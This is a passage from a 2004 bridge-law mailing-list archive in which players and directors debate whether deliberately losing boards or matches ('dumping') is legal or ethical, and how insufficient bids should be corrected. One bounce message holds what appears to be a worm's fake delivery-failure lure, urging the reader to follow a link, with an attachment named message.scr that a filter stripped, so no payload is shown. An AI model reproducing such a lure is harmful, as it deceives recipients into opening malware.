May 2004 14:16:32 +0100 Subject: [blml] Matchpoint dumping (was A newer one) References: Message-ID: <002001c43e6c$e38bda40$50cc87d9@4nrw70j> Grattan Endicott To: Sent: Thursday, May 20, 2004 5:28 AM Subject: Re: [blml] Matchpoint dumping (was A newer one) > > > This Eric Landau/Edgar Kaplan/EBU view has some > validity when discussing a winner-take-all > event, such as the Bermuda Bowl. But this view > runs into difficulties when considering the > possible outcomes of a typical matchpoint pairs > Mitchell movement session (without an arrow- > switch), which has *two* winning pairs, both > North-South and East-West. > +=+ I am distrustful of the linking of EK with the EBU and Landau in a single "view". Do not overlook the fact that EK was at the heart of the Yokohama question and engaged in, supported, the devising of the WBF Anti- Dumping regulation. The EBL position would be clarified if a question arose as to the meaning of "good sportsmanship, correct deportment and ..... irreproachable ethics". On the subject generally, it seems closely balanced whether or no the objects of the game - curiously not set out in the Laws, albeit implied - contemplate strategies purposed to affect the rankings of other teams in relation to each other. ~ Grattan ~ +=+ From ehaa@starpower.net Thu May 20 14:24:16 2004 From: ehaa@starpower.net (Eric Landau) Date: Thu, 20 May 2004 09:24:16 -0400 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: Message-ID: <5.2.0.9.0.20040520085429.02149ad0@pop.starpower.net> At 09:55 PM 5/19/04, richard.hills wrote: >Even better would be a 2006 Law which permitted an >insufficient bidder to correct their (non-condoned) >insufficient bid to *any* legal call, with the only >penalty being that the insufficient bid would be UI >to the insufficient bidder's partner. > >This would make life easier for those LOLs prone to >insufficient bids, and life harder for the Secretary >Bird experts who exploit the mechanical errors of >LOLs. > >It would also save considerable time for overworked >TDs, which could be better used by TDs for prompter >calculations of the results of the event. Or we could go the other way, and eliminate the correction without penalty. ISTM that this would be a less drastic change. The current way we deal with insufficient bids goes back to a time when "non-standard" methods were rarely seen, when standard methods were essentially natural, and when "conventions" were easily identifiable add-on "gadgets" that didn't fundamentally impact one's basic bidding methods. Since then, two things have happened: 1. Bidding methods have become more sophisticated and diversified. The agreements that constitute one's basic bidding methods have become more subtle and nuanced, with specific agreed-upon meanings that are far more likley to differ from one's opponents' than they once were. 2. Due to pressure from CBOs desiring more power to regulate pursuant to L40D, the definition of "conventional" has become either arbitrarily much looser or a lot better understood (depending on which side of the L40D debate you're on). Agreements that were once considered natural "treatments" are now viewed as conventional. As a result, cases in which both an insufficient bid and its potential penalty-free correction are deemed to be "incontrovertably not conventional" have become more and more rare over time, and, if these trends continue, will soon be threatened with extinction. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ereppert@rochester.rr.com Thu May 20 14:33:04 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 20 May 2004 09:33:04 -0400 Subject: [blml] A newer one In-Reply-To: <001f01c43e6c$e2dc6060$50cc87d9@4nrw70j> Message-ID: <38B580EC-AA62-11D8-94A3-0030656F6826@rochester.rr.com> On Thursday, May 20, 2004, at 07:58 US/Eastern, grandeval wrote: > > Grattan Endicott [alternatively gesta@tiscali.co.uk] > ============================== > "What sets us against one another is > not our aims - they all come to the same > thing - but our methods, which are the > fruit of our varied reasoning." > ~ Saint-Exupery. > ++++++++++++++++++++++++++++++ > ----- Original Message ----- > From: "David Stevenson" > To: > Sent: Wednesday, May 19, 2004 12:06 PM > Subject: Re: [blml] A newer one > > >> You enter an event to win. Why is it beneath contempt >> to try and win by following the rules? >> > +=+ This is somewhat circular. The argument is sound, but > begs the question of what the rules are and/or should be. > ~ G ~ +=+ What the rules should be matters when deciding whether to enter an event. Having made that decision, what the rules *are* is what matters. From cibor@poczta.fm Thu May 20 15:01:05 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Thu, 20 May 2004 16:01:05 +0200 Subject: [blml] A newer one References: <000301c43d73$d931a7e0$6900a8c0@WINXP> <40AB1318.9070704@hdw.be> Message-ID: <00b401c43e72$e7a72020$6a51fea9@ams.com> ----- Original Message ----- From: "Jaap van der Neut" After this infamous > Germany-Austria soccer match long ago (a typical RR problem) the COC of the > soccer WC was also adapted. What is an RR problem? I remember very well the match - Hrubesch scoring in the beginning and then both teams having a picnic in the middle of the field as they both qualified with this 1-0 score. But what does RR stand for? Konrad Ciborowski Krakow, Poland From cibor@poczta.fm Thu May 20 15:07:30 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Thu, 20 May 2004 16:07:30 +0200 Subject: [blml] A newer one References: <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> <5.2.0.9.0.20040519143043.00a09c40@pop.starpower.net> Message-ID: <00cd01c43e73$cd9ebcf0$6a51fea9@ams.com> ----- Original Message -----=20 From: "Eric Landau" > IMO, playing to lose "the part" in order to increase one's chances of > winning "the whole" (whatever those are) should not be considered > illegal dumping. Exactly. Otherwise you could be penalized for dumping whenever you duck a trick to increase your chances of winning the contract. Konrad Ciborowski Krak=F3w, Poland From svenpran@online.no Thu May 20 18:47:22 2004 From: svenpran@online.no (Sven Pran) Date: Thu, 20 May 2004 19:47:22 +0200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <002001c43e6c$e38bda40$50cc87d9@4nrw70j> Message-ID: <000001c43e92$81266160$6900a8c0@WINXP> > grandeval ........... > On the subject generally, it seems closely balanced > whether or no the objects of the game - curiously not > set out in the Laws, albeit implied - contemplate > strategies purposed to affect the rankings of other > teams in relation to each other. > ~ Grattan ~ +=3D+ As far as I know no player can be heard on a protest or an appeal = related to an event at a table where this player did not play even in the case = where the result of the protest/appeal would have a major impact on this = player's final result.=20 For instance say that a player becomes aware of an irregularity at = another table and understands that this irregularity if not corrected will cost = him a victory in the tournament. He may not call attention to the = irregularity nor may he address the Director on that matter (no more than an ordinary spectator may do). And if the Director is summoned to the table in the regular way and makes his ruling our player may not appeal this = decision. Correspondingly a strategy with the main purpose of influencing = result(s) at other table(s) should not be acceptable by the laws, regulations or conditions of contest. It remains to be seen whether the existence of = such a strategy can ever be proven. Sven From jaapvanderneut@hotmail.com Thu May 20 20:57:18 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Thu, 20 May 2004 21:57:18 +0200 Subject: [blml] A newer one References: <000301c43d73$d931a7e0$6900a8c0@WINXP> <40AB1318.9070704@hdw.be> <00b401c43e72$e7a72020$6a51fea9@ams.com> Message-ID: RR = Round Robin ----- Original Message ----- From: "Konrad Ciborowski" To: "blml" Sent: Thursday, May 20, 2004 4:01 PM Subject: Re: [blml] A newer one > > ----- Original Message ----- > From: "Jaap van der Neut" > After this infamous > > Germany-Austria soccer match long ago (a typical RR problem) the COC of > the > > soccer WC was also adapted. > > What is an RR problem? I remember very well the match - Hrubesch scoring > in the beginning and then both teams having a picnic > in the middle of the field as they both qualified with this 1-0 score. > But what does RR stand for? > > > > Konrad Ciborowski > Krakow, Poland > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From gesta@tiscali.co.uk Thu May 20 21:25:37 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 20 May 2004 21:25:37 +0100 Subject: [blml] A newer one References: <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> <4kGhl+d9FArAFwHA@blakjak.demon.co.uk> Message-ID: <004101c43ea9$1f0c9550$b5e6403e@multivisionoem> Grattan Endicott To: Sent: Thursday, May 20, 2004 1:53 AM Subject: Re: [blml] A newer one > Note that the "We" referred ot here is the ACBL, > or perhaps the WBF, or someone. The point is that > anti-dumping rules are not world-wide. For example, >dumping is legal in England and Wales. > +=+ Does this mean that in a round robin a team with a margin to spare is permitted to throw to its last round opponents and thus improve their final ranking? ~ G ~ +=+ From gesta@tiscali.co.uk Thu May 20 21:20:06 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 20 May 2004 21:20:06 +0100 Subject: [blml] a new one References: <006901c43d6d$c44803c0$7e23b5d4@swipnet.se> Message-ID: <004001c43ea9$1b65fb80$b5e6403e@multivisionoem> Grattan Endicott To: Sent: Thursday, May 20, 2004 1:44 AM Subject: Re: [blml] a new one > John (MadDog) Probst wrote > >In article , David Stevenson > > writes > > > >snip > >> Very old and fairly poor Irish joke [sorry, Fearghal, > >> Karel, etc, I am sure you tell English jokes]: > >> +=+ Not particularly, but they do tell better Irish jokes. +=+ From richard.hills@immi.gov.au Thu May 20 23:38:25 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 21 May 2004 08:38:25 +1000 Subject: [blml] a new one Message-ID: David Stevenson: >>Very old and fairly poor Irish joke [sorry, Fearghal, >>Karel, etc, I am sure you tell English jokes]: Grattan Endicott: >+=+ Not particularly, but they do tell better Irish jokes. +=+ Richard James Hills: And I, a Tasmanian-in-exile, know a few Tasmanian jokes. Example -> When I emigrated from Hobart to Canberra, the average intelligence of both cities increased. Best wishes RJH From blml@blakjak.com Fri May 21 00:35:34 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 00:35:34 +0100 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: <5.2.0.9.0.20040520085429.02149ad0@pop.starpower.net> References: <5.2.0.9.0.20040520085429.02149ad0@pop.starpower.net> Message-ID: <3H4SNZBGDUrAFwFp@blakjak.demon.co.uk> Eric Landau wrote >At 09:55 PM 5/19/04, richard.hills wrote: > >>Even better would be a 2006 Law which permitted an >>insufficient bidder to correct their (non-condoned) >>insufficient bid to *any* legal call, with the only >>penalty being that the insufficient bid would be UI >>to the insufficient bidder's partner. >> >>This would make life easier for those LOLs prone to >>insufficient bids, and life harder for the Secretary >>Bird experts who exploit the mechanical errors of >>LOLs. >> >>It would also save considerable time for overworked >>TDs, which could be better used by TDs for prompter >>calculations of the results of the event. > >Or we could go the other way, and eliminate the correction without >penalty. ISTM that this would be a less drastic change. > >The current way we deal with insufficient bids goes back to a time when >"non-standard" methods were rarely seen, when standard methods were >essentially natural, and when "conventions" were easily identifiable >add-on "gadgets" that didn't fundamentally impact one's basic bidding >methods. Since then, two things have happened: > >1. Bidding methods have become more sophisticated and diversified. The >agreements that constitute one's basic bidding methods have become more >subtle and nuanced, with specific agreed-upon meanings that are far >more likley to differ from one's opponents' than they once were. > >2. Due to pressure from CBOs desiring more power to regulate pursuant >to L40D, the definition of "conventional" has become either arbitrarily >much looser or a lot better understood (depending on which side of the >L40D debate you're on). Agreements that were once considered natural >"treatments" are now viewed as conventional. > >As a result, cases in which both an insufficient bid and its potential >penalty-free correction are deemed to be "incontrovertably not >conventional" have become more and more rare over time, and, if these >trends continue, will soon be threatened with extinction. With respect, all this suggests is that you are not a TD. While IBs discussed on BLML may not normally be 'correctable' ones, real-life ones are 'correctable' in well over 90% of cases. The normal IB in real life is 1S P 2C 2H 2D 1S 3H 3D or as my partner perpetrated last night 1S 2H X P 2C Whatever the merits or demerits of the 'non-correctable' IB, let's leave the 'correctable' ones unchanged. They are easy, often corrected by players without the TD [yes, I know that's illegal, but it's a fact] and generally follow what the players expect. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 21 00:38:41 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 00:38:41 +0100 Subject: [blml] A newer one In-Reply-To: <001f01c43e6c$e2dc6060$50cc87d9@4nrw70j> References: <001301c43d46$85c14f20$6900a8c0@WINXP> <7FyxtfWo+zqAFwcW@blakjak.demon.co.uk> <001f01c43e6c$e2dc6060$50cc87d9@4nrw70j> Message-ID: <43JRRxBBGUrAFwm8@blakjak.demon.co.uk> grandeval wrote > >Grattan Endicott[alternatively gesta@tiscali.co.uk] >============================== >"What sets us against one another is >not our aims - they all come to the same >thing - but our methods, which are the >fruit of our varied reasoning." > ~ Saint-Exupery. >++++++++++++++++++++++++++++++ >----- Original Message ----- >From: "David Stevenson" >To: >Sent: Wednesday, May 19, 2004 12:06 PM >Subject: Re: [blml] A newer one > > >> You enter an event to win. Why is it beneath contempt >> to try and win by following the rules? >> >+=+ This is somewhat circular. The argument is sound, but >begs the question of what the rules are and/or should be. That is quite irrelevant to the question. Sure, on BLML, people enjoy not answering questions, but the question here was about the ethics of dumping when legal. Of course there is the separate questions of [a] should regs be made so that dumping can never gain and [b] should dumping be made illegal. But it is not a circular argument. If an SO makes dumping both legal and desirable, why should people consider it unethical? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 21 00:41:14 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 00:41:14 +0100 Subject: [blml] A newer one In-Reply-To: <00cd01c43e73$cd9ebcf0$6a51fea9@ams.com> References: <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> <5.2.0.9.0.20040519143043.00a09c40@pop.starpower.net> <00cd01c43e73$cd9ebcf0$6a51fea9@ams.com> Message-ID: Konrad Ciborowski wrote > >----- Original Message ----- >From: "Eric Landau" > >> IMO, playing to lose "the part" in order to increase one's chances of >> winning "the whole" (whatever those are) should not be considered >> illegal dumping. > >Exactly. Otherwise you could be penalized for dumping whenever >you duck a trick to increase your chances of winning >the contract. It is not a question of what "should be considered illegal dumping": it is a question of what "is" illegal dumping. ACBL regs, for example, make it illegal to play a hand so as to deliberately not gain an advantage on that hand, but do not make it illegal to duck a trick. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 21 00:41:56 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 00:41:56 +0100 Subject: [blml] A newer one In-Reply-To: <004101c43ea9$1f0c9550$b5e6403e@multivisionoem> References: <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> <4kGhl+d9FArAFwHA@blakjak.demon.co.uk> <004101c43ea9$1f0c9550$b5e6403e@multivisionoem> Message-ID: wrote > >Grattan Endicott [also grandeval@vejez.fsnet.co.uk] >++++++++++++++++++++++++++++++++. > "Law is whatever is boldly asserted and > plausibly maintained." > - Aaron Burr (1756-1836) >=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#= >----- Original Message ----- >From: "David Stevenson" >To: >Sent: Thursday, May 20, 2004 1:53 AM >Subject: Re: [blml] A newer one > > >> Note that the "We" referred ot here is the ACBL, >> or perhaps the WBF, or someone. The point is that >> anti-dumping rules are not world-wide. For example, >>dumping is legal in England and Wales. >> >+=+ Does this mean that in a round robin a team with >a margin to spare is permitted to throw to its last round >opponents and thus improve their final ranking? So long as it improves their chances of winning the event, certainly. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 21 00:44:56 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 00:44:56 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: References: Message-ID: RJH wrote > > > > >Eric Landau: > >[snip] > >>IMO, playing to lose "the part" in order to >>increase one's chances of winning "the whole" >>(whatever those are) should not be considered >>illegal dumping. Indeed, cannot be, when the >>conditions are such that you must "play to >>lose" one or the other. > >Richard James Hills: > >Yes and no. > >This Eric Landau/Edgar Kaplan/EBU view has some >validity when discussing a winner-take-all >event, such as the Bermuda Bowl. But this view >runs into difficulties when considering the >possible outcomes of a typical matchpoint pairs >Mitchell movement session (without an arrow- >switch), which has *two* winning pairs, both >North-South and East-West. For example -> > >1. An astute professional was commencing a >matchpoint pairs session with a beginner client. > >2. The beginner client admitted that they were >petrified with nervousness, fearing that they >would make too many mistakes. The beginner >client was also petrified about their >petrification, since the beginner client knew >that they made more mistakes than usual when >petrified. > >3. On the very first board, the astute pro >perpetrated a non-logical alternative of a >ridiculous vulnerable overcall. > >4. The astute pro moaned, "Oh no, what have I >done?" > >5. Prompted by the astute pro's moaning, the >opponents doubled. > >6. The astute pro accidentally dropped a trick >in the play, turning a sure -800 bottom into a >more spectacular -1100 bottom. > >7. After the board, the astute pro apologised >to the petrified beginner client, "Sorry pard. >After that sure bottom, we have no chance of >winning the session now." > >8. With the pressure off, the beginner client >was relaxed for the remainder of the session, >played to the best of their ability, and so >committed only routine idiocies. As a result, >the astute pro was able to carry their beginner >client to a North-South victory. > >9. Meanwhile, the astute pro's first round >opponents gained an unexpected East-West >victory by one matchpoint, due to their first >board top. > >As TD, how would you rule? As a TD I would read the regs for the event. It is clearly legal in England where dooming is permitted anyway. It is clearly illegal in the ACBL where you are not allowed to play any single board less than your best. From what I remember of the WBF regs I seem to remember that you have to do you best in every session: if so it is legal. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From adam@irvine.com Fri May 21 00:48:18 2004 From: adam@irvine.com (Adam Beneschan) Date: Thu, 20 May 2004 16:48:18 -0700 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: Your message of "Thu, 20 May 2004 09:24:16 EDT." <5.2.0.9.0.20040520085429.02149ad0@pop.starpower.net> Message-ID: <200405202348.QAA10802@mailhub.irvine.com> Eric Landau wrote: > 2. Due to pressure from CBOs desiring more power to regulate pursuant > to L40D, the definition of "conventional" has become either arbitrarily > much looser or a lot better understood (depending on which side of the > L40D debate you're on). Agreements that were once considered natural > "treatments" are now viewed as conventional. Could you give an example of a call that used to be considered natural and is now considered conventional by someone in charge? -- Adam From blml@blakjak.com Fri May 21 00:47:15 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 00:47:15 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <000001c43e92$81266160$6900a8c0@WINXP> References: <002001c43e6c$e38bda40$50cc87d9@4nrw70j> <000001c43e92$81266160$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> grandeval >........... >> On the subject generally, it seems closely balanced >> whether or no the objects of the game - curiously not >> set out in the Laws, albeit implied - contemplate >> strategies purposed to affect the rankings of other >> teams in relation to each other. >> ~ Grattan ~ +=+ > >As far as I know no player can be heard on a protest or an appeal related to >an event at a table where this player did not play even in the case where >the result of the protest/appeal would have a major impact on this player's >final result. > >For instance say that a player becomes aware of an irregularity at another >table and understands that this irregularity if not corrected will cost him >a victory in the tournament. He may not call attention to the irregularity >nor may he address the Director on that matter (no more than an ordinary >spectator may do). And if the Director is summoned to the table in the >regular way and makes his ruling our player may not appeal this decision. That is what the Laws say - ok, the well-known interpretation of the Laws. >Correspondingly a strategy with the main purpose of influencing result(s) at >other table(s) should not be acceptable by the laws, regulations or >conditions of contest. It remains to be seen whether the existence of such a >strategy can ever be proven. I do not see the correspondence. What on earth connection does your strategy have with your ability to point out infractions? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Fri May 21 02:43:47 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 21 May 2004 11:43:47 +1000 Subject: [blml] Matchpoint dumping (was A newer one) Message-ID: Grattan Endicott: >>+=+ I am distrustful of the linking of EK with the EBU >>and Landau in a single "view". Do not overlook the fact >>that EK was at the heart of the Yokohama question and >>engaged in, supported, the devising of the WBF Anti- >>Dumping regulation. [snip] Richard James Hills: It is true that Edgar Kaplan had a two-pronged position on dumping. 1. If a vile Condition of Contest provides an incentive for a contestant to dump in order to have an improved chance of winning the event, then it should be both legal and ethical for that contestant to dump. 2. Sponsoring organisations should revile a vile CoC. So, Edgar Kaplan's revision of the Bermuda Bowl quarter- final pairings rules to discourage dumping was completely consistent with his philosophy. The EBU also holds a two-pronged Kaplanesque philosophy. The 2004 EBU White Book states -> >In England it is not, of itself, improper to attempt to >influence the results of an event, or part of an event, >so as to try to increase one's own success in the event. [snip] >A solution is to design Conditions of Contest such that >it is always in the best interests of competitors to >play well. In the cited example there could be a carry- >forward to the final. Best wishes RJH From richard.hills@immi.gov.au Fri May 21 05:55:58 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 21 May 2004 14:55:58 +1000 Subject: [blml] Taking Insufficient bidders off the table Message-ID: Eric Landau asserted: [snip] >>But there's problem with this. It is patently >>illegal to have an explicit agreement about the >>meaning of an insufficient bid, as doing so would >>be a prima facie attempt to violate one of our >>holiest principles, enshrined in L72B2. >> >>So the consensually accepted jurisprudential >>principle, well supported by precedent, by which >>we are "required to treat [an implicit >>partnership agreement] like any other partnership >>agreement" when applying the Laws, must be >>seriously flawed. Law 72B2 enshrines: >A player must not infringe a law *intentionally*, >even if there is a prescribed penalty he is >willing to pay. Richard James Hills quibbles: It seems to me that it is totally Lawful to have an explicit partnership agreement that one of its members has an *inadvertent* habit of perpetrating a particular insufficient bid only when holding a specific type of hand. Therefore, in my opinion, Eric's "serious" black spot in the Laws is merely an innocent Sirius Black. :-) Best wishes RJH From richard.hills@immi.gov.au Fri May 21 07:32:47 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 21 May 2004 16:32:47 +1000 Subject: [blml] Matchpoint dumping (was A newer one) Message-ID: David Stevenson asserted -> >> As a TD I would read the regs for the event. >> >> It is clearly legal in England where dooming is >>permitted anyway. >> >> It is clearly illegal in the ACBL where you are >>not allowed to play any single board less than >>your best. >> >> From what I remember of the WBF regs I seem to >>remember that you have to do you best in every >>session: if so it is legal. The 2004 EBU White Book admitted -> >In many competitions outside England, to play badly >would be treated as a gross abuse of the correct >attitude to the game as required by Law 74A2, Richard James Hills nigelises -> In my opinion, not only are England and America divided by a common language, they are also divided by the most fundamental propriety, Law 74A2, because: (a) ACBL players consider any and all dumping to be grossly unethical, and (b) EBU players consider any and all dumping to be totally ethical. I believe that it would be useful if the WBF *specifically* addressed the issue of dumping in the 2006 Laws. Otherwise, an American visiting London will consider the English to be cheats. And a Londoner visiting America will consider the Americans to be self-righteous bushes. Best wishes RJH From grandeval@vejez.fsnet.co.uk Fri May 21 08:54:12 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Fri, 21 May 2004 08:54:12 +0100 Subject: [blml] Matchpoint dumping (was A newer one) References: Message-ID: <002801c43f09$7740af80$879d4c51@4nrw70j> Grattan Endicott To: Sent: Friday, May 21, 2004 2:43 AM Subject: Re: [blml] Matchpoint dumping (was A newer one) > > > > > Grattan Endicott: > > >>+=+ I am distrustful of the linking of EK with the EBU > >>and Landau in a single "view". Do not overlook the fact > >>that EK was at the heart of the Yokohama question and > >>engaged in, supported, the devising of the WBF Anti- > >>Dumping regulation. > > [snip] > > Richard James Hills: > > It is true that Edgar Kaplan had a two-pronged position > on dumping. > > 1. If a vile Condition of Contest provides an incentive > for a contestant to dump in order to have an improved > chance of winning the event, then it should be both > legal and ethical for that contestant to dump. > > 2. Sponsoring organisations should revile a vile CoC. > > So, Edgar Kaplan's revision of the Bermuda Bowl quarter- > final pairings rules to discourage dumping was completely > consistent with his philosophy. > +=+ I had in mind his involvement in and support for the WBF regulation that says: "The WBF expects all teams and partnerships to play to win at all times and in all circumstances." And for the interpretation of this that requires teams/partnerships to play to win every match, which indeed is what it says quite plainly. See General Conditions of Contest, under 'Ethics and Deportment'. ~ Grattan ~ +=+ From postmaster@rottentomatoes.com Fri May 21 09:01:05 2004 From: postmaster@rottentomatoes.com (postmaster@rottentomatoes.com) Date: Fri, 21 May 2004 01:01:05 -0700 Subject: [blml] Delivery Status Notification (Failure) Message-ID: <04PxEWBg70001e7b6@ROTTEN.corp.rottentomatoes.com> This is a MIME-formatted message. Portions of this message may be unreadable without a MIME-capable mail program. --9B095B5ADSN=_01C437B2ACF1997C00042CACROTTEN.corp.rott Content-Type: text/plain; charset=unicode-1-1-utf-7 This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. info@rottentomatoes.com --9B095B5ADSN=_01C437B2ACF1997C00042CACROTTEN.corp.rott Content-Type: message/delivery-status Reporting-MTA: dns;ROTTEN.corp.rottentomatoes.com Received-From-MTA: dns;mailgate Arrival-Date: Fri, 21 May 2004 01:01:05 -0700 Final-Recipient: rfc822;info@rottentomatoes.com Action: failed Status: 5.1.1 --9B095B5ADSN=_01C437B2ACF1997C00042CACROTTEN.corp.rott Content-Type: message/rfc822 Received: from mailgate ([209.133.105.15]) by ROTTEN.corp.rottentomatoes.com with Microsoft SMTPSVC(5.0.2195.6713); Fri, 21 May 2004 01:01:05 -0700 Received: from rottentomatoes.com ([82.33.172.119]) by mailgate (SAVSMTP 3.1.0.29) with SMTP id M2004052100571800769 for ; Fri, 21 May 2004 00:57:18 -0700 From: blml@rtflb.org To: info@rottentomatoes.com Subject: Mail Delivery (failure info@rottentomatoes.com) Date: Fri, 21 May 2004 09:01:00 +0100 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal Return-Path: blml@rtflb.org Message-ID: X-OriginalArrivalTime: 21 May 2004 08:01:05.0359 (UTC) FILETIME=[C448FDF0:01C43F09] This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001C_01C0CA80.6B015D10" ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.rottentomatoes.com/inbox/info/read.php?sessionid-9248
 
------=_NextPart_001_001C_01C0CA80.6B015D10-- ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: text/plain; name="DELETED0.TXT" Content-Transfer-Encoding: base64 Content-ID:<031401Mfdab4$3f3dL780$73387018@57W81fa70Re> RmlsZSBhdHRhY2htZW50OiBtZXNzYWdlLnNjcgpUaGUgZmlsZSBhdHRhY2hlZCB0byB0aGlz IGVtYWlsIHdhcyByZW1vdmVkDQpiZWNhdXNlIHRoZSBmaWxlIG5hbWUgaXMgbm90IGFsbG93 ZWQu ------=_NextPart_000_001B_01C0CA80.6B015D10-- --9B095B5ADSN=_01C437B2ACF1997C00042CACROTTEN.corp.rott-- From grandeval@vejez.fsnet.co.uk Fri May 21 09:20:04 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Fri, 21 May 2004 09:20:04 +0100 Subject: Fw: [blml] Matchpoint dumping (was A newer one) Message-ID: <003201c43f0c$af234c20$879d4c51@4nrw70j> Added comment. ************** Grattan Endicott To: Sent: Friday, May 21, 2004 8:54 AM Subject: Re: [blml] Matchpoint dumping (was A newer one) > > Grattan Endicott [alternatively gesta@tiscali.co.uk] > ============================== > "What sets us against one another is > not our aims - they all come to the same > thing - but our methods, which are the > fruit of our varied reasoning." > ~ Saint-Exupery. > ++++++++++++++++++++++++++++++ > ----- Original Message ----- > From: > To: > Sent: Friday, May 21, 2004 2:43 AM > Subject: Re: [blml] Matchpoint dumping (was A newer one) > > > > > > > > > > > > Grattan Endicott: > > > > >>+=+ I am distrustful of the linking of EK with the EBU > > >>and Landau in a single "view". Do not overlook the fact > > >>that EK was at the heart of the Yokohama question and > > >>engaged in, supported, the devising of the WBF Anti- > > >>Dumping regulation. > > > > [snip] > > > > Richard James Hills: > > > > It is true that Edgar Kaplan had a two-pronged position > > on dumping. > > > > 1. If a vile Condition of Contest provides an incentive > > for a contestant to dump in order to have an improved > > chance of winning the event, then it should be both > > legal and ethical for that contestant to dump. > > > > 2. Sponsoring organisations should revile a vile CoC. > > > > So, Edgar Kaplan's revision of the Bermuda Bowl quarter- > > final pairings rules to discourage dumping was completely > > consistent with his philosophy. > > > +=+ I had in mind his involvement in and support for the > WBF regulation that says: "The WBF expects all teams > and partnerships to play to win at all times and in all > circumstances." And for the interpretation of this that > requires teams/partnerships to play to win every match, > which indeed is what it says quite plainly. See General > Conditions of Contest, under 'Ethics and Deportment'. > ~ Grattan ~ +=+ > +=+ Add: In the above I should perhaps have drawn attention to the post-Kaplan expansion of this. The 2003 General Conditions at 32.3 say additonally: "It is not permissible for a partnership to play by design to obtain a session score inferior to that of its opponents and the Committee shall have the authority to determine on such evidence as it considers sufficient whether a partnership has done so." ~ G ~ +=+ From svenpran@online.no Fri May 21 09:49:26 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 21 May 2004 10:49:26 +0200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: Message-ID: <000001c43f10$858689f0$6900a8c0@WINXP> > David Stevenson .......... > >As far as I know no player can be heard on a protest or an appeal = related > to > >an event at a table where this player did not play even in the case = where > >the result of the protest/appeal would have a major impact on this > player's > >final result. > > > >For instance say that a player becomes aware of an irregularity at > another > >table and understands that this irregularity if not corrected will = cost > him > >a victory in the tournament. He may not call attention to the > irregularity > >nor may he address the Director on that matter (no more than an = ordinary > >spectator may do). And if the Director is summoned to the table in = the > >regular way and makes his ruling our player may not appeal this = decision. >=20 > That is what the Laws say - ok, the well-known interpretation of = the > Laws. >=20 > >Correspondingly a strategy with the main purpose of influencing = result(s) > at > >other table(s) should not be acceptable 